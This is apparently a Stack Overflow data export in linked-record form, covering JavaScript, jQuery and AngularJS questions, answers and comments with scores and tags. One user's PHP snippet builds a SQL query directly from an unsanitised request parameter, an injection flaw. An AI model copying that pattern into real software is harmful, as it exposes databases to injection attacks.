has body: I have been using google charts for quite some time now. Yesterday I tried adding a Combo Chart on my webpage which resulted in cannot read property 'count' of undefined in Google Chrome and b is undefined in Firefox. I have been trying to fix this but no success till now. I read that it might be cause of prototype but still other charts are working fine. Here's the example of this issue on jsfiddle. Code: &lt;script type="text/javascript" src="https://www.google.com/jsapi"&gt;&lt;/script&gt; &lt;div id="combochart2.1" style="width: 900px; height: 500px;"&gt;&lt;/div&gt; &lt;script type="text/javascript"&gt; google.load("visualization", "1", {packages:["corechart"]}); google.setOnLoadCallback(drawChart1); function drawChart1() { var data = new google.visualization.DataTable(); var cols = 5 ; var rows = 4; var cell_values = new Array(); var col_header=new Array(); var text=new Array(); data.addColumn('string', 'Questions'); col_header= "apples, orange, pineapple, rocket, spaceship".split(","); cell_values= "1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20".split(","); text= "Q1,Q2,Q3,Q4".split(","); for (var k=0;k&lt;cols;k++) { data.addColumn('number',col_header[k]); } // Add empty rows data.addRows(rows); var index=0; //setting cell values for(var i=0;i&lt;rows;i++) { //setting first column values data.setCell(i,0,text[i]); for(var q=1;q&lt;(cols+1);q++){ //setting other cell valeus data.setCell(i,q,parseInt(cell_values[index])); index++; } } var options = { title: 'Fruits', vAxis: 'No of consumers', hAxis: {title: 'Set No',titleTextStyle: {bold: true,color: '#000' }}, height: 260,width: 500, seriesType: "bars" }; var chart = new google.visualization.ComboChart(document.getElementById('combochart2.1')); chart.draw(data, options); } &lt;/script&gt;
downvote count: 0
accepted answer: http://stackoverflow.com/a/25678166
favorite count: 0
has answer: http://stackoverflow.com/a/61751207
possible better answer: http://stackoverflow.com/a/61751207

http://stackoverflow.com/a/26613450
has comment: http://stackoverflow.com/comment/41850663
score: 69
has body: Solution: call the update method to set new values ​​: var barChartData = { labels: ["January", "February", "March"], datasets: [ { label: "My First dataset", fillColor: "rgba(220,220,220,0.5)", strokeColor: "rgba(220,220,220,0.8)", highlightFill: "rgba(220,220,220,0.75)", highlightStroke: "rgba(220,220,220,1)", data: [20, 59, 80] } ] }; window.onload = function(){ var ctx = document.getElementById("mycanvas").getContext("2d"); window.myObjBar = new Chart(ctx).Bar(barChartData, { responsive : true }); //nuevos colores myObjBar.datasets[0].bars[0].fillColor = "green"; //bar 1 myObjBar.datasets[0].bars[1].fillColor = "orange"; //bar 2 myObjBar.datasets[0].bars[2].fillColor = "red"; //bar 3 myObjBar.update(); }
has comment: http://stackoverflow.com/comment/45220739
has comment: http://stackoverflow.com/comment/46613207
type: Answer
answers question: http://stackoverflow.com/q/25594478
has comment: http://stackoverflow.com/comment/62616200
upvote count: 69
downvote count: 0
has comment: http://stackoverflow.com/comment/45240145
has comment: http://stackoverflow.com/comment/45497034

http://stackoverflow.com/a/25669020
type: Answer
accepted answer of: http://stackoverflow.com/q/25666922
score: 2
downvote count: 0
answers question: http://stackoverflow.com/q/25666922
upvote count: 2
type: AcceptedAnswer
has body: I am assuming you want the map shapes on the left to all appear at the same place. One way you can do that is to get the bounding box of the path and offset it by the x and y position. $("path").hover(function() { var bbox = this.getBBox(); var d = $(this).attr("d"); $("#city_map").html('&lt;svg ... snip ... &lt;path... transform="translate('+(-bbox.x)+','+(-bbox.y)+')"&gt;&lt;/path&gt;&lt;/svg&gt;'); }); Demo here

http://stackoverflow.com/a/25645083
downvote count: 0
has comment: http://stackoverflow.com/comment/40071772
score: 10
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25644973
has body: There is a huge difference between this ($scope.myFunction = function(){ console.log('test'); }()); And this ($scope.myFunction = function(){ console.log('test'); })(); Because the first line assigns the result of the function call, and then only stores it, but it's not a function that it stores. The second works as expected because you call the function after having assigned it to $scope.myFunction UPDATE As helpermethod pointed out in comments, the first line is not an IIFE, because you're not calling the function itself, but only the result of it.
answers question: http://stackoverflow.com/q/25644973
upvote count: 10
type: Answer

http://stackoverflow.com/a/25639534
answers question: http://stackoverflow.com/q/25639181
type: Answer
score: 1
has body: Refer phpjs.org which has javascript implementations of php functions. The code for str_replace is given below. Source : http://phpjs.org/functions/str_replace/ function str_replace(search, replace, subject, count) { var i = 0, j = 0, temp = '', repl = '', sl = 0, fl = 0, f = [].concat(search), r = [].concat(replace), s = subject, ra = Object.prototype.toString.call(r) === '[object Array]', sa = Object.prototype.toString.call(s) === '[object Array]'; s = [].concat(s); if (count) { this.window[count] = 0; } for (i = 0, sl = s.length; i &lt; sl; i++) { if (s[i] === '') { continue; } for (j = 0, fl = f.length; j &lt; fl; j++) { temp = s[i] + ''; repl = ra ? (r[j] !== undefined ? r[j] : '') : r[0]; s[i] = (temp) .split(f[j]) .join(repl); if (count &amp;&amp; s[i] !== temp) { this.window[count] += (temp.length - s[i].length) / f[j].length; } } } return sa ? s : s[0]; } Usage: $textBefore = "PHP is amazing open source programmer language,there many webs around the world that are built using php"; $forReplace = ["amazing","programmer","webs"]; $replacement = ["powerfull","programming","websites"]; $textAfter = str_replace( $forReplace , $replacement , $textBefore); $textAfter will have PHP is powerfull open source programming language,there many websites around the world that are built using php
upvote count: 1
has comment: http://stackoverflow.com/comment/40060698
has comment: http://stackoverflow.com/comment/40061518
downvote count: 0

webdriver-io
type: Tag
tag name: webdriver-io
tags question: http://stackoverflow.com/q/25608517

http://stackoverflow.com/q/25641160
type: UnansweredQuestion
downvote count: 2
has answer: http://stackoverflow.com/a/25645572
type: Question
has comment: http://stackoverflow.com/comment/40063897
score: -2
has comment: http://stackoverflow.com/comment/40063692
has body: I would like to know the recursive keys in a JSON Object. For example, the JSON Object is like { "Division1" : { "checked": true, "level": 1, "District1-1": { "checked": true, "level": 2, "Area1-1-1": { "checked": true, "level": 3, "Project1-1-1-1": { "checked": true, "level": 4 } }, "Area1-1-2": { "checked": true, "level": 3, "Project1-1-2-1": { "checked": true, "level": 4, "05": { "checked": true, "level": 5 } } } } } } And I am able to find "Project1-1-1-1", I should be able to find and store "Area1-1-1", "District1-1", "Division1" in an array, how to perform a recursive search to store the parent/grandparent keys? I am using javascript to make this possible Current JS: var parent = []; $.test.getObjects = function(obj, key, val) { var objects = []; for (var i in obj) { if (!obj.hasOwnProperty(i)){ continue; } if (typeof obj[i] == 'object') { // console.log(i); parent.push(i); objects = objects.concat($.test.getObjects(obj[i], key, val)); } //if key matches and value matches or if key matches and value is not passed (eliminating the case where key matches but passed value does not) if (i == key &amp;&amp; obj[i] == val || i == key &amp;&amp; val == '') { // objects.push({"parent": parent,"children": obj}); } else if (obj[i] == val &amp;&amp; key == ''){ //only add if the object is not already in the array if (objects.lastIndexOf(obj) == -1){ objects.push({"parent": parent,"children": obj}); } } } return objects; };
tagged with: http://stackoverflow.com/tag/json
tagged with: javascript
has title: Get key based on JSON value
upvote count: 0
answer count: 1
tagged with: jquery
favorite count: 0
has comment: http://stackoverflow.com/comment/40063598

http://stackoverflow.com/q/25566261
linked to: http://stackoverflow.com/q/262427
has comment: http://stackoverflow.com/comment/39925993
tagged with: javascript
tagged with: substring
has body: I am trying to extract the numbers of this string: "ax(341);ay(20);az(3131);" I think that I can do it how this: var ax = data.split('('); var ax2 = ax[1].split(')'); ax2[0] has "341" Now If I can repeat this but starting in the next indexOf to take the second number. I think that it's a bad practice, so I ask you If you have a better idea. Thanks in advance
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/13807207
tagged with: jquery
accepted answer: http://stackoverflow.com/a/25566395
favorite count: 0
has answer: http://stackoverflow.com/a/25566393
type: Question
possible better answer: http://stackoverflow.com/a/25566385
has title: Parsing a String looking characters
has answer: http://stackoverflow.com/a/25566385
score: 0
answer count: 3
upvote count: 1
downvote count: 1
has answer: http://stackoverflow.com/a/25566395

http://stackoverflow.com/q/25693235
score: 0
possible better answer: http://stackoverflow.com/a/25693339
has title: Remove Select option after doing the action
has answer: http://stackoverflow.com/a/25693380
has comment: http://stackoverflow.com/comment/40158460
has comment: http://stackoverflow.com/comment/40158444
answer count: 5
accepted answer: http://stackoverflow.com/a/25693282
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25693339
has answer: http://stackoverflow.com/a/25693555
has answer: http://stackoverflow.com/a/25693282
type: Question
has comment: http://stackoverflow.com/comment/40158447
has body: I have a Select option where if I select any option related div Shows up. Upto this it's fine. But I am wanting to make something like if I select the option it will display the related div but option it self will be removed. FIDDLE Is this possible ? Any help will be appreciated. JS $(document).ready(function() { $('#contact-location').change(function(){ var location = $(this).val(), div = $('#' + location); $('div').hide(); div.show(); }); });
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25693285

http://stackoverflow.com/q/25633914
has title: jQuery - Load info from database, into different variables?
downvote count: 0
has comment: http://stackoverflow.com/comment/40051620
has answer: http://stackoverflow.com/a/25635963
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40051651
has comment: http://stackoverflow.com/comment/40051663
tagged with: php
has comment: http://stackoverflow.com/comment/40051700
type: Question
has comment: http://stackoverflow.com/comment/40051672
score: 1
has answer: http://stackoverflow.com/a/25633968
has comment: http://stackoverflow.com/comment/40051609
answer count: 2
upvote count: 1
tagged with: javascript
tagged with: jquery
favorite count: 0
tagged with: ajax
has comment: http://stackoverflow.com/comment/40050983
has comment: http://stackoverflow.com/comment/40051644
has comment: http://stackoverflow.com/comment/40051818
has body: Basically I can do so it prints out for example one field from the table, but I want to have all of them to different tables or whatever, how would I achieve this? I got this as my save/load code: // Save/Load data. $('').ready(function() { if($.cookie('code')) { $.ajax({ type: "POST", url: "ajax/loadData.php", data: "code=" + $.cookie('code'), dataType: "json" success: function() { var json = $.parseJSON(); var coins = json.coins; var lvl = json.lvl; $('#test').html('lvl: ' + lvl + ' coins: ' + coins); } }); console.log('Loaded data from the database with the code ' + $.cookie('code')); } else { // Generate save&amp;load-code var chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXTZabcdefghiklmnopqrstuvwxyz"; var string_length = 64; var randomCode = ''; for(var i = 0; i &lt; string_length; i++) { var num = Math.floor(Math.random() * chars.length); randomCode += chars.substring(num, num+1); } // Save code in cookies &amp; database $.cookie('code', randomCode); console.log('Generated and saved code ' + $.cookie('code')); } }); Note that I do know that I do not have a save-function/ajax yet, but I'm working on the load feature right now. This is my loadData.php file: &lt;?php include '../inc/_db.php'; $code = $_GET['code']; $query = mysqli_query($db, "SELECT * FROM data WHERE code='$code'"); while($row = mysqli_fetch_array($query)) { echo $row['coins']; } ?&gt; Simple enough, yeah. This prints out the amount of coins that belongs to the specific user. Here's the table structure: How would I go about to load both coins AND the lvl field, into different variables or alike, so I can use them properly.

http://stackoverflow.com/a/67842287
type: Answer
answers question: http://stackoverflow.com/q/25651204
has body: Be honest with you I was not able to understand fully most of the posts on this page, but I think I have faced this problem before, and solved it by allowing the page to post the first time the button is clicked, so when the page comes back from server it has the new value assigned to it, and it looks clickable, and enabled. But if a 2nd attempt is made to press it, then it becomes disabled, and page will not post, and send to the server again by clicking this button. I hope this helps: @section scripts { }
score: 0

http://stackoverflow.com/q/25596363
has comment: http://stackoverflow.com/comment/39982107
has comment: http://stackoverflow.com/comment/39982172
tagged with: javascript
tagged with: ajax
has body: I have a javascript in the html to render the html on client. I know how to do it using JSON. My question is: Is it possible without JSON? For example, my server will reply array such as [["good", "bad"],["first", "second", "third"]] using a servlet. I mention String array in topic, because the xmlhttp.responseText is regarded as a text or string. So in javascript, how do I convert this result into array variable? Using JSON, my server has to reply { "1": ["good", "bad"], "2": [....] } I just wanted to see whether we can avoid this key string.
has comment: http://stackoverflow.com/comment/39982041
has title: How to parse string array in Ajax?
type: AnsweredQuestion
score: 2
downvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/25596903
type: Question
has comment: http://stackoverflow.com/comment/39982183
upvote count: 2
tagged with: http://stackoverflow.com/tag/json
answer count: 1
accepted answer: http://stackoverflow.com/a/25596903

http://stackoverflow.com/a/25910786
type: Answer
has body: I believe that the Colorer Take 5 library can colour patches (I don't know if it is still really active though). Ooops, Colorer Take5 is C++. This is highlight.js that you want.
score: 0
answers question: http://stackoverflow.com/q/25668067

http://stackoverflow.com/q/25584899
upvote count: 1
has comment: http://stackoverflow.com/comment/40457701
type: Question
has comment: http://stackoverflow.com/comment/40310037
tagged with: javascript
has answer: http://stackoverflow.com/a/26022795
accepted answer: http://stackoverflow.com/a/26022795
downvote count: 0
answer count: 1
favorite count: 0
tagged with: wavemaker
has body: I am trying to manually intercept the result of a Service Variable that consumes external JSON data. I can bind a button to call the API and bind the resulting json data to a grid and that works fine, but I want to pre-process some of the data before manually populating the grid. The Service Variable pop up has a tab for Events, but if you select "Javascript" for the OnSuccess or OnResult events (or any of them in fact) it doesn't generate a stub for you in the code and I cannot for the life of me work out how to trap these events. Please could someone point me in the right direction? The documentation doesn't explain this (I've searched extensively). I will post this on the Wavemaker boards as well and will cross post the answer if I get one, too.
type: AnsweredQuestion
score: 1
has title: Service Variable Events in Wavemaker 7

http://stackoverflow.com/q/25629152
score: 0
has answer: http://stackoverflow.com/a/25630527
answer count: 1
tagged with: angularjs
type: UnansweredQuestion
has body: I'm trying to understand dynamic templateUrl at a high-level since I've only just begun playing around with AngularJS. I found this project on GitHub which does exactly what I'd like to be doing. Below the snippet I've added a bit of text regarding my understanding of the flow of execution of $compile and link, to make sure I understand it (general AngularJS compile and then applied to snippet). .directive('formField', [ '$http', '$compile', function( $http, $compile ) { var getTemplateUrl = function( field ) { var type = field.field_type; var templateUrl = ''; switch( type ) { case 'textfield': templateUrl = 'components/form-field/textfield.html'; break; case 'email': templateUrl = 'components/form-field/email.html'; break; // etc... } return templateUrl; } var linker = function( scope, element ) { var templateUrl = getTemplateUrl( scope.field ); $http.get(templateUrl).success(function(data) { element.html(data); $compile(element.contents())(scope); }); } return { restrict: 'E', replace: true, scope: { field: '=' }, link: linker } }]); I understand the basics of directives and controllers, and the use of isolate scopes with regards to two-way data-binding and a module reuse perspective. So as I understand $compile and link, please correct me if I'm wrong: ng-app creates a $rootScope, and begins compiling DOMElements, which consists of compiling and linking $compile traverse DOMElements (apparently differently than other frameworks???) $compile is looking for directives, which when found are pushed onto a list for sorting and execution of their compile functions $compile returns a linking function... which is then made into another linking function and returned and executed linker passes the required scope for binding on, and recursively executes child link functions linker returns a set of data bound DOMElements with attached listeners for interactivity, and is finally appended to parent node So in the above example I'm creating and element directive, replace the d…
type: Question
tagged with: javascript
has title: AngularJS implementing dynamic templating - confirm understanding of $compile and link

http://stackoverflow.com/comment/66142819
has text: Hi Attila, thanks for the clarification. I have one more corner case about the overloading resolution from Nashorn, which you may be interested. It's about the overloading. Whenever there's overloading of a field instance and a method without parameters, the [] operator returns the method reference. I have described the issue properly at the following: http://stackoverflow.com/questions/9960560/java-instance-variable-and-method-having-same-name/39391819#39391819 http://stackoverflow.com/questions/9960560/java-instance-variable-and-method-having-same-name/39391819#39391819
score: 0
comment on: http://stackoverflow.com/a/25610856
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/40096725
has text: `document.getElementById("foodCount").innerHTML = foodCount;` add the above line after the `foodCount++`
type: AnswerComment
type: Comment
score: 1
comment on: http://stackoverflow.com/a/25659124

http://stackoverflow.com/q/25675169
tagged with: javascript
answer count: 2
score: 5
has answer: http://stackoverflow.com/a/25675288
has body: I'm trying to learn meteor and am running into a few hurdles. I have a couple nested templates to display all of the user information in my app: users_list.html: {{#each user}} {{> userItem}} {{/each}} and user_item.html: User: Email: {{emails}} ID: {{_id}} ... and the associated template helper: Template.usersList.helpers({ user: function(){ return Meteor.users.find().fetch(); } }); This works for top level properties, but if I try to explicitly access the .address property on the 0 index in the emails array by changing the above line in user_item.html: Email: {{emails[0].address}} Meteor complains: Exception in queued task: Error: Can't call non-function: [object Object]... This is confusing to me because I can do this in the console: var userz = Meteor.users.find().fetch(); userz[0].emails[0].address // "jim@example.com" Any ideas on why Meteor doesn't like this? Also, I was thinking in general that I may need to store the contents of the emails array into a variable and repeat the same pattern above except by nesting an emails_list and email_item template into the user_item template. This seems viable but overly complicated for this use case. Ultimately, I'm really just trying to learn and implement a reasonable pattern for accessing and displaying nested attributes of documents in collections. Any thoughts or guidance will be greatly appreciated.
tagged with: meteor
possible better answer: http://stackoverflow.com/a/25675498
favorite count: 0
upvote count: 5
type: AnsweredQuestion
downvote count: 0
has title: How to access Meteor user properties in array?
has answer: http://stackoverflow.com/a/25675498
type: Question
accepted answer: http://stackoverflow.com/a/25675288

http://stackoverflow.com/q/25666879
tagged with: css
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40109865
score: -4
has body: I want to add a node,I success,but i don't copy the hover function of the node to my application.The hover has nothing to do.and i want to run with ie8. this is my html: clickMe clickBtn this is my css: .btnStyle{ width: 80px; height: 20px; background: orange; } .btnStyle:hover{ cursor: pointer; } this is my jQuery code: $("#appendCell").find("button").click(function () { //当点击后触发 $(this).before($("#addedCell").html()); });
type: Question
tagged with: javascript
has answer: http://stackoverflow.com/a/25667030
accepted answer: http://stackoverflow.com/a/25667030
has title: Hover style isn't applied to copied HTML
has comment: http://stackoverflow.com/comment/40110174
upvote count: 1
answer count: 1
tagged with: jquery
favorite count: 0
downvote count: 5
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/a/25695484
accepted answer of: http://stackoverflow.com/q/25695452
score: 2
has body: The error says the expression foo[i] is undefined - because, the expression does evaluate to undefined. (Hint: i = 4). Trivially the issue is reproducible with 'active' in undefined, no loop required. The cause in this case is an incorrect condition for the loop: it should be i &lt; foo.length, so i goes 0..3 and not 0..4. The code should likely also use a local i (thanks RobG!), a break (when checked is set), return a value from the function (instead of using a presumed global), and/or be replaced with Array.some. Now also closing as "a typographical error"..
has comment: http://stackoverflow.com/comment/40163495
has comment: http://stackoverflow.com/comment/40162713
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/25695452
upvote count: 2
type: Answer

http://stackoverflow.com/q/25585366
has comment: http://stackoverflow.com/comment/39961982
score: 0
has comment: http://stackoverflow.com/comment/39961958
type: Question
tagged with: javascript
has title: Is an expression that is not assigned a variable retained anyway
answer count: 1
linked to: http://stackoverflow.com/q/3691125
has body: Writing something like 5 + 5 is a valid expression and doesn't throw any error even if it isn't assigned to a variable. Is there anywhere this expression is maintained in memory or does it just disappear once the addition is completed?
has comment: http://stackoverflow.com/comment/39961849
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25585382
has comment: http://stackoverflow.com/comment/39961869

http://stackoverflow.com/comment/40181460
type: Comment
has text: would it be possible to make it works onmouseover over "myDIV" itself ?
score: 0
comment on: http://stackoverflow.com/a/25704920
type: AnswerComment

http://stackoverflow.com/comment/40187492
score: 0
comment on: http://stackoverflow.com/q/25709025
type: Comment
type: QuestionComment
has text: print_r($cities); shows 1 result

http://stackoverflow.com/q/25585995
tagged with: angularjs
answer count: 0
has title: Unexpected alert ends completely protractor test session
type: UnansweredQuestion
score: 1
tagged with: error-handling
upvote count: 1
tagged with: protractor
tagged with: javascript
has body: I am using protractor as a test runner for our end-to-end testing of AngularJS app. Some code uses alert to report an error to the user. Yes, I know that is not the optimal approach to exception handling but this is the way the code was written (and it will be changed later). However when an alert is shown (and not expected) an UnexpectedAlertOpenException is thrown and the whole protractor session is ended, no other tests are executed and the browser window is not closed and I have to close it manually. Is there a way how to catch this exception and handle it so the spec that was being executed will be marked as failed with unexpected alert open reason and protractor will continue and execute the other specs? Thanks for any help!
type: Question
has comment: http://stackoverflow.com/comment/39963365
downvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/39963784

http://stackoverflow.com/comment/40180158
comment on: http://stackoverflow.com/a/25703561
score: 0
type: AnswerComment
has text: @tomysshadow: Note how what we have to check for is starting to grow? It'll keep on doing that til it consumes you. This is a much harder problem than a couple of lines of code can reasonably solve.
type: Comment

http://stackoverflow.com/comment/40051520
type: Comment
comment on: http://stackoverflow.com/a/25634181
has text: I already have onclick="document.getElementById('my_form').submit(); return false;" that still refreshes the page.
score: 0
type: AnswerComment

http://stackoverflow.com/a/25686768
type: AcceptedAnswer
score: 0
type: Answer
has body: There isn't one term for it, unfortunately. Microsoft's term is "IntelliSense." Various other terms are listed in this answer on programmers.stackexchange.com: Auto Code Completion Code Completion Code Hinting Code Assist I believe the term they use at JetBrains (the people behind WebStorm and IntelliJ and such) is "Code Completion," based on the WebStorm help. More about WebStorm code completion on their blog. It looks like they'll work from the source code, using JSDoc if they find it.
answers question: http://stackoverflow.com/q/25686721
accepted answer of: http://stackoverflow.com/q/25686721

http://stackoverflow.com/comment/39952413
score: 2
has text: If `document.documentElement.scrollTop` _is_ defined but happens to have the value `0` then the statement will take the value of `document.body.scrollTop`.
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25580068

http://stackoverflow.com/comment/39953743
has text: As I said, I can't use a helper because the signature isn't fixed. In that case, the function accepted one float, but for another feature it can accept two ints, etc.
type: AnswerComment
comment on: http://stackoverflow.com/a/25578487
type: Comment
score: 0

http://stackoverflow.com/comment/40160367
score: 0
type: AnswerComment
type: Comment
has text: Sorry to have missed the 30 minute window - was called away from computer. Would you retest - I'll stay online.
comment on: http://stackoverflow.com/a/25679669

http://stackoverflow.com/comment/39935100
has text: The iframe looks really bad and it will open a new frame with scroll bar. Is possible to use another method instead of iframe? I would like that looks like a pop up. If I put the entire code into the aspx inside a container looks perfect but I don't know how to handle it to show it only under a condition if cookie are set or not
comment on: http://stackoverflow.com/a/25565776
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/40178093
comment on: http://stackoverflow.com/q/25703925
has text: change "window.open" to "location.href=", and remove the parens if you want. you can also keep a hidden iframe with an about:blank src on the page, and set its src to the tel: uri at any time to trigger the same behavior.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40113548
comment on: http://stackoverflow.com/q/25668385
type: Comment
type: QuestionComment
has text: jQuery explicitly maps `this` to the appropriate element for you. Even if you use event delegation and bind the click event to `document`, jQuery changes `this` to the element it's delegated from.
score: 2

http://stackoverflow.com/comment/40179509
score: 0
has text: Show some HTML that goes with this.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25704774

http://stackoverflow.com/q/25666286
favorite count: 0
has answer: http://stackoverflow.com/a/25666525
accepted answer: http://stackoverflow.com/a/25666525
upvote count: 1
tagged with: object
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25666766
has body: I have javascript object like as var obj = { param1 : { subParam1: 10, subParam2: 20 }, param2: 123 } if need to convert it to object with keys only in root obj = { 'param1.subParam1' : 10, 'param1.subParam2' : 20, 'param2' : 123 }
score: 1
has title: How to convert object to associated array?
type: Question
answer count: 2
downvote count: 0
tagged with: javascript
duplicate of: http://stackoverflow.com/q/13597662
linked to: http://stackoverflow.com/q/11235906
linked to: http://stackoverflow.com/q/13597662
possible better answer: http://stackoverflow.com/a/25666766
tagged with: converters
has comment: http://stackoverflow.com/comment/40108877

http://stackoverflow.com/q/25665643
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25665737
has comment: http://stackoverflow.com/comment/40107748
tagged with: jquery-selectors
has answer: http://stackoverflow.com/a/25665689
downvote count: 0
score: 1
favorite count: 0
linked to: http://stackoverflow.com/q/5041494
tagged with: http://stackoverflow.com/tag/html
answer count: 4
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25665689
has title: How do I select this span?
upvote count: 1
type: Question
has body: This my element that I want to select in jquery .box3 span.info:before{ content:"15 vacatures"; margin:0; padding:0 0 28px 0; font-family: 'MaisonNeueMono'; letter-spacing: normal; font-weight: normal; font-size: 12px; text-transform: uppercase; position:relative; } I tried this but it just doesn't select it, also doesn't work with just putting ".info": So how do I select this element? $(".box3 span.info:before").hover(function(){ $(".box3 h1").fadeOut(); });
possible better answer: http://stackoverflow.com/a/25665694
has answer: http://stackoverflow.com/a/25665720
has answer: http://stackoverflow.com/a/25665694

http://stackoverflow.com/q/25582330
upvote count: 1
type: Question
has title: IndexedDb store reset with .clear(), but quota never decreases
tagged with: indexeddb
downvote count: 0
tagged with: javascript
favorite count: 0
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/39957036
has comment: http://stackoverflow.com/comment/39957380
has body: I'm trying to use the IndexedDb database in Chrome for storing undo points (very big typed arrays of data). Since undo info has a single session lifetime, I clear the store every time my app is initialized. Everything seem to work ok, but when I query the quota, it seems always peristently decreasing. I know that the store is cleared because, if I use a cursor, there are no more keys in it. The only way to decrease the quota is to manually erase the database from the Settings menu. Is clearing the store not enough to free the sources and re-set the quota? Here's what my code does at init: idxdDB.open = function () { var version = 1; var request = indexedDB.open("db_undo", version); // We can only create Object stores in a versionchange transaction. request.onupgradeneeded = function (e) { var db = e.target.result; // A versionchange transaction is started automatically. e.target.transaction.onerror = function (e) { console.log("Error", e); }; if (db.objectStoreNames.contains("undo_point")) { db.deleteObjectStore("undo_point"); } var store = db.createObjectStore("undo_point"); }; request.onsuccess = function (e) { idxdDB.db = e.target.result; // Clear the store var trans = idxdDB.db.transaction(["undo_point"], "readwrite"); var store = trans.objectStore("undo_point"); var req = store.clear(); req.onsuccess = function(evt) { console.log("Store cleared"); getQuota(); listAllStore(store); }; }; request.onerror = function (e) { console.log("Error!", e); }; }; And here's what I use to query the quota and list all the entries in the store: function getQuota () { if (window.webkitStorageInfo &amp;&amp; window.webkitStorageInfo.queryUsageAndQuota) { window.webkitStorageInfo.queryUsageAndQuota(webkitStorageInfo.TEMPORARY, function (used, remaining) { console.log("Used quota: " + used + ", remaining quota: " + remaining); }, function (e) { console.log('Error', e); }); } } function listAllStore (store) { store.openCursor().onsuccess = function(event) { var cursor = event.target…
answer count: 0
type: UnansweredQuestion
score: 1

http://stackoverflow.com/a/25603137
score: 0
has body: I think this was a problem with indentation, when deleting the coffeescript file and trying again it worked...
type: Answer
answers question: http://stackoverflow.com/q/25602625

http://stackoverflow.com/a/25679090
type: AcceptedAnswer
has body: You can override it by jquery &lt;script&gt; $(function () { $('#inputId').focus(function () { $(this).css('text-align', 'left'); }).blur(function () { $(this).css('text-align', 'center'); }); }); &lt;/script&gt;
answers question: http://stackoverflow.com/q/25678971
type: Answer
accepted answer of: http://stackoverflow.com/q/25678971
has comment: http://stackoverflow.com/comment/40133536
downvote count: 0
score: 1
upvote count: 1

http://stackoverflow.com/comment/39908636
score: 1
has text: when you say document.getElementById('text'), where is the element in your page with id "text" ?
type: AnswerComment
comment on: http://stackoverflow.com/a/25556776
type: Comment

http://stackoverflow.com/comment/40003948
has text: This may work, but this is not what I need. This opens up a numeric keyboard, people can't insert characters, can they ?
comment on: http://stackoverflow.com/a/25606631
type: Comment
score: 0
type: AnswerComment

universal-analytics
tag name: universal-analytics
type: Tag
tags question: http://stackoverflow.com/q/25575800

http://stackoverflow.com/comment/42725109
type: Comment
score: 0
comment on: http://stackoverflow.com/a/25596382
has text: In my case, I had to open the Schema.xml file for the ConfigurationValues list. I noticed that the Internal Name given was "Value1", not "Value". Changing either the script to use Value1 or the list internal name to be Value fixed.
type: AnswerComment

http://stackoverflow.com/comment/39948945
type: Comment
comment on: http://stackoverflow.com/q/25577658
type: QuestionComment
has text: @LJ_1102: hta = HTML Applications. Built by Microsoft for quick applications using HTML markup and a scripting language (VBScript/Jscript).
score: 0

http://stackoverflow.com/a/53296646
score: 0
answers question: http://stackoverflow.com/q/25585353
type: Answer
has body: a = [5, 4, 3, 2, 1]; smallvalues = a.filter(obj =&gt; obj &lt; 3); console.log(smallvalues) everyother = a.filter(ele =&gt; ele % 2); console.log(everyother)// Filter function can be simply we can code like this;

http://stackoverflow.com/a/25670055
has body: Try this &lt;input type="button" onclick="addInput()" value="Add input" /&gt; &lt;script&gt; function addInput(){ var _input = '&lt;input type="text" name="anInput" value="Hola" /&gt;'; _input.insertBefore('.submit'); } Also replace your submit input by &lt;input type="submit" name="submit" class="submit"&gt;
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25669901

http://stackoverflow.com/q/25554411
has body: i'm using JCrop and are having a very annoying moment where i just cannot get this ui undefined thing out of this world :( I have done exactly the same as this fiddle example here, and this one.. works like a charm.... Here is the order i'm loading the script files : // JCrop logic goes here.. Here is the HTML which ... should have worked. <use xlink:href="#fullHex" /> Here is how i load the images as source (WORKS!) I have to initiate the JCrop first since i'm loading the source of the image and the background source of the background from a $http GET call.. But.. that works like it should.. $('#cropbox').attr('src', trimmedResult); $('#Image4').css('background-image', 'url(' + trimmedResult + ')'); initJcrop(); Here is initJcrop function in GlobalScripts.JS: function initJcrop() { var jcrop_api; jQuery.browser = {}; (function () { jQuery.browser.msie = false; jQuery.browser.version = 0; if (navigator.userAgent.match(/MSIE ([0-9]+)\./)) { jQuery.browser.msie = true; jQuery.browser.version = RegExp.$1; } })(); $('#cropbox').Jcrop({ onSelect: showCoords, onChange: showCoords, bgOpacity: .4, aspectRatio: 1, }, function() { jcrop_api = this; }); function showCoords(c) { var $this = jcrop_api.ui.holder; var original = $this.prev(); var preview = original.parent().find(".image"); var oH = original.height(); var oW = original.width(); var pH = preview.height(); var pW = preview.width(); var sH = c.h; var sW = c.w; var differenceH = pH - sH; var differenceW = pW - sW; var rW = pW / c.w; var rH = pH / c.h; preview.css("background-size", (oW * rW) + "px" + " " + (oH * rH) + "px"); preview.css("background-position", rW * Math.round(c.x) * -1 + "px" + " " + rH * Math.round(c.y) * -1 + "px"); } } The CSS is exactly like the fiddle example above... Anyone got any tip for me on this one ? I'm stuck :(
upvote count: 0
answer count: 1
tagged with: jquery
favorite count: 0
tagged with: jcrop
has answer: http://stackoverflow.com/a/25571549
type: UnansweredQuestion
downvote count: 1
type: Question
tagged with: javascript
score: -1
has title: Uncaught TypeError: Cannot read property 'ui' of undefined. JQuery JCrop issue when selecting croparea

http://stackoverflow.com/q/25671674
type: AnsweredQuestion
